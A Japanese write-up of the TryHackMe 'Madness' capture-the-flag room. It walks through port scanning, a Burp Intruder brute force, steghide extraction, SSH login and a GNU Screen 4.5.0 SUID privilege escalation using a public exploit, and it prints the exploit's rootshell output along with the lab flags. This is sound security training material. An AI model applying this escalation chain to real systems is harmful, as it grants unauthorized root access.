はじめに
今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Madness」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。
Task1 Flag Submission
ポートスキャンを行います。
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.25.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 12:11 JST
Nmap scan report for 10.10.25.33
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds
ソースコードにヒントとなりそうな画像データがあったため、wgetコマンドで取得します。
┌──(kali㉿kali)-[~]
└─$ wget http://10.10.25.33/thm.jpg
--2024-09-29 12:46:17-- http://10.10.25.33/thm.jpg
Connecting to 10.10.25.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22210 (22K) [image/jpeg]
Saving to: ‘thm.jpg’
thm.jpg 100%[================>] 21.69K 82.0KB/s in 0.3s
2024-09-29 12:46:18 (82.0 KB/s) - ‘thm.jpg’ saved [22210/22210]
次に画像のバイナリデータを見てみます。
┌──(kali㉿kali)-[~]
└─$ ghex thm.jpg
このバイナリデータより、どうやらPNGファイルを参照しようとしているとのこと。
ファイル名の拡張子を「png」にしてもダメであった為、バイナリデータを「jpeg」に合わせて修正すれば良いと思い、下記サイトを参考に「jpeg」用に書き換えます。
すると画像が変わり、隠しディレクトリが表示されている事を確認しました。
試しに「secret」をURLのパラメータに追加したところ、問題なくページが遷移されたので、その値に対して0〜99を総当たりでアクセスすると予測。
なのでBurp Suiteを使用してブルートフォースを実施します。
インターセプトを有効化して、ページを更新します。
「Intruder」にリクエスト情報を送り、ブルートフォースを行う箇所に任意な文字列を§で囲う形で追加します。
「Payloads」タブでブルートフォースを行う値の設定を行い、実行します。
「73」のみ他とLengthが異なるため、パラメータに指定してアクセスします。
Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B
この文字列の使い道は、隠しディレクトリが記載された画像に対して、steghideコマンドを実行するのに必要なパスワードらしいです。
┌──(kali㉿kali)-[~]
└─$ steghide --extract -sf thm_2.jpg
Enter passphrase:
wrote extracted data to "hidden.txt".
中身を確認すると、何かのユーザ名を入手しました。
おそらく最初のポートスキャンで確認したssh用のユーザ名だと思われます。
┌──(kali㉿kali)-[~]
└─$ cat hidden.txt
Fine you found the password!
Here's a username
wbxre
I didn't say I would make it easy for you!
ssh用のパスワードは、どうやらTryHackMeのページ内の画像に、それを記載したテキストファイルが埋め込まれているとのこと。
┌──(kali㉿kali)-[~]
└─$ steghide --extract -sf Downloads/5iW7kC8.jpg
Enter passphrase:
wrote extracted data to "password.txt".
┌──(kali㉿kali)-[~]
└─$ cat password.txt
I didn't think you'd find me! Congratulations!
Here take my password
*axA&GF8dP
sshに必要なログイン情報が揃ったため、いざssh接続を試みるがログインが出来ず、、
どうやらユーザ名に対して、シーザー暗号の解読が必要らしい。
おそらく「joker」が正しい。
改めて試したところ、ログインが成功しました。
┌──(kali㉿kali)-[~]
└─$ ssh joker@10.10.25.33
joker@10.10.25.33's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Jan 5 18:51:33 2020 from 192.168.244.128
joker@ubuntu:~$
user.txt
ログイン直後にユーザフラグが記載されたファイルを確認。
joker@ubuntu:~$ ls
user.txt
joker@ubuntu:~$ cat user.txt
THM{d5781e53b130efe2f94f9b0354a5e4ea}
joker@ubuntu:~$
root.txt
脆弱であるSUIDのコマンドを探します。
joker@ubuntu:~$ find / -user root -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/bin/fusermount
/bin/su
/bin/ping6
/bin/screen-4.5.0
/bin/screen-4.5.0.old
/bin/mount
/bin/ping
/bin/umount
この一覧に対して色々調べてみたところ、screen-4.5.0に脆弱性があるとのこと。
searchsploitでエクスプロイトを探します。
┌──(kali㉿kali)-[~]
└─$ searchsploit screen 4.5.0
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~]
見つけたエクスプロイトを、ssh接続先に実行可能なスクリプトとして作成して実行します。
またそのスクリプトには実行権限を付与します。
joker@ubuntu:~$ vim screenshot.sh
joker@ubuntu:~$ ls -l screenshot.sh
-rw-rw-r-- 1 joker joker 1153 Sep 28 23:19 screenshot.sh
joker@ubuntu:~$
joker@ubuntu:~$ chmod +x screenshot.sh
joker@ubuntu:~$ ls -l screenshot.sh
-rwxrwxr-x 1 joker joker 1153 Sep 28 23:19 screenshot.sh
無事権限が昇格されました。
joker@ubuntu:~$ ./screenshot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
seteuid(0);
^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
setegid(0);
^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
There are screens on:
1389..ubuntu (Detached)
1352.pts-0.ubuntu (Detached)
2 Sockets in /tmp/screens/S-joker.
#
# whoami
root
管理者用のフラグを獲得して完了になります。
# cd ../root
# ls
root.txt
# cat root.txt
THM{5ecd98aa66a6abb670184d7547c8124a}
#
さいごに
以上となります。